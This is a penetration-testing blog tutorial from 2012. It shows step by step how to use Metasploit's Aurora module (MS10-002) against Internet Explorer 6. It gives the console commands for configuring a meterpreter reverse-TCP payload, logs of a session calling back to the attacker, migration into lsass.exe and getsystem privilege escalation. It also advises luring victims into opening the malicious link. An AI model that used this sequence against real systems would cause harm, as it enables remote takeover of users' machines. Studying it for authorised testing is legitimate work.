

# Internet Explorer Aurora Exploit

[pentestlab.blog/category/exploitation-techniques/page/18](http://pentestlab.blog/category/exploitation-techniques/page/18)

March 12, 2012

In 2010 major companies like Google, Adobe, Symantec, Juniper Networks and others have been attacked by an exploit called Aurora. Metasploit framework has an exploit that uses the same technique of the famous **Aurora** and takes advantage a memory corruption flaw in Internet Explorer.

For this example we will test the exploit against a machine running Windows XP in order to see how it affects the Internet Explorer 6. So we are opening the metasploit framework and we are searching for the **ms10\_002** the Aurora exploit.

```
msf > search ms10_002
BackTrack
Matching Modules
=====
Name                               Disclosure Date Rank Description
-----
exploit/windows/browser/ms10_002_aurora 2010-01-14 normal Internet Explorer "Aurora" Memory Corruption

msf > use exploit/windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```

Searching for the Aurora and use of the payload

For this attack as you can see and from the image above we have chosen as a payload the meterpreter reverse TCP. Next it is time to have a look at the available options of the exploit.

```
msf exploit(ms10_002_aurora) > show options
Install
Module options (exploit/windows/browser/ms10_002_aurora):
Name      Current Setting Required Description
-----
SRVHOST    0.0.0.0         yes      The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT    8080            yes      The local port to listen on.
SSL        false           no       Negotiate SSL for incoming connections
SSLCert    Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3            no       Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH    The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):
Name      Current Setting Required Description
-----
EXITFUNC  process        yes      Exit technique: seh, thread, process, none
LHOST     yes            yes      The listen address
LPORT     4444           yes      The listen port
```

Analyzing the Options of Aurora Exploit

As we can see the default setting for the **SRVHOST** is 0.0.0.0: If we choose to leave it like that the web server will bind to all interfaces. The next option is the **SRVPORT** which is the port that the user needs to connect in order to trigger the exploit. By default the port is

8080 but we will use the port 80 for this example. We have the option also to set up the server for **SSL** connections but here we will not configure it. The next setting is the **URIPATH** which is not enabled by default. URIPATH is the URL that the victim will need to enter to trigger the vulnerability. We can use a custom URL or we can set this to slash (/).

For the payload settings we just need to configure the local port and the listen address. For this scenario we have chosen the port 443 and the IP address 192.168.1.1 which is our local address. The next image is showing the settings that we have made so far:

```
msf exploit(ms10_002_aurora) > set srvport 80
srvport => 80
msf exploit(ms10_002_aurora) > set uripath /
uripath => /
msf exploit(ms10_002_aurora) > set lhost 192.168.1.1
lhost => 192.168.1.1
msf exploit(ms10_002_aurora) > set lport 443
lport => 443
```

Setting the Aurora and the payload

Now that all the settings are correct it is time to use the command **exploit** in order to run the exploit. We will notice that it will start the web server in our local IP address. All we need now is to send the URL or the URI path if you prefer to our victims and to wait for someone to connect. For this scenario we have set the URI path as / so this means it will be only our IP address.

From the moment that someone opens the link the exploit will start the heap spray. The Internet explorer of the remote target will not respond for a while and the amount of memory will increased dramatically causing the system to act slowly.

The next image is showing how the Aurora exploit is opening a meterpreter session.

```
[*] Started reverse handler on 192.168.1.1:443
msf exploit(ms10_002_aurora) > [*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://127.0.0.1:80/
[*] Server started.
[*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.3
[*] Sending stage (752128 bytes) to 192.168.1.3
[*] Meterpreter session 1 opened (192.168.1.1:443 -> 192.168.1.3:1051) at 2012-03-11 13:42:56 -0400
```

Running the Aurora Exploit

Now we have a Meterpreter shell on the remote machine and we can start the session by using the command **sessions -i 1**. However if the user closes the browser then we will lose our shell. In order to avoid that we can type the command in our meterpreter session **run migrate** and it will automatically migrates with another process of the system so we will keep our shell.

```
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > run migrate
[*] Current server process: iexplore.exe (3280)
[*] Migrating to lsass.exe...
[*] Migrating into process ID 656
[*] New server process: lsass.exe (656)
meterpreter > █
```

Starting the session and migration with another process

Additionally we can try to escalate privileges with the command **getsystem** and we can see the running processes of the remote system with the command **ps**.

```
meterpreter> getsystem
...got system (via technique 1).
meterpreter> ps

Process list
|=====|
PID   Name                Arch  Session  User              Path
---   -
0      [System Process]
4      System              x86   0         NT AUTHORITY\SYSTEM
356    smss.exe             x86   0         NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
568    csrss.exe            x86   0         NT AUTHORITY\SYSTEM  \??\C:\WINDOWS.0\system32\csrss.ex
592    winlogon.exe         x86   0         NT AUTHORITY\SYSTEM  \??\C:\WINDOWS.0\system32\winlogon
xe
644    services.exe        x86   0         NT AUTHORITY\SYSTEM  C:\WINDOWS.0\system32\services.exe
656    lsass.exe            x86   0         NT AUTHORITY\SYSTEM  C:\WINDOWS.0\system32\lsass.exe
820    svchost.exe          x86   0         NT AUTHORITY\SYSTEM  C:\WINDOWS.0\system32\svchost.exe
920    svchost.exe          x86   0         NT AUTHORITY\SYSTEM  C:\WINDOWS.0\System32\svchost.exe
1060   svchost.exe          x86   0         NT AUTHORITY\SYSTEM  C:\WINDOWS.0\System32\svchost.exe
1112   svchost.exe          x86   0         NT AUTHORITY\LOCAL SERVICE  C:\WINDOWS.0\System32\svchost.exe
1312   explorer.exe         x86   0         PC1\Admin           C:\WINDOWS.0\Explorer.EXE
1424   spoolsv.exe          x86   0         NT AUTHORITY\SYSTEM  C:\WINDOWS.0\system32\spoolsv.exe
1440   ctfdmon.exe          x86   0         PC1\Admin           C:\WINDOWS.0\System32\ctfdmon.exe
1448   msmmsgs.exe          x86   0         PC1\Admin           C:\Program Files\Messenger\msmsgs.
```

Privilege Escalation

## Affected versions

Internet Explorer 6

Microsoft claims that it is also possible to affect Internet Explorer 7 and 8 but nobody so far have seen this exploit to work on these versions.

## Conclusion

This was a client-side attack with the use of the famous exploit Aurora. Microsoft claims that affects and Internet Explorer 7 and 8 but from our testings against these versions we couldn't get a shell.

The problem with this exploit is that it requires the user interaction in order to get a shell. The user must open an unknown link that will come from an unknown user so you need to workaroud a method that will convince your targets. Also if the user closes the Web browser then the shell is lost. This means that we have to migrate the existing process to another process very fast.

Finally it is an exploit that in nowadays has limited use because it affects Internet Explorer 6 versions only. So it is very difficult during a penetration test to find this version of browser on your client's systems.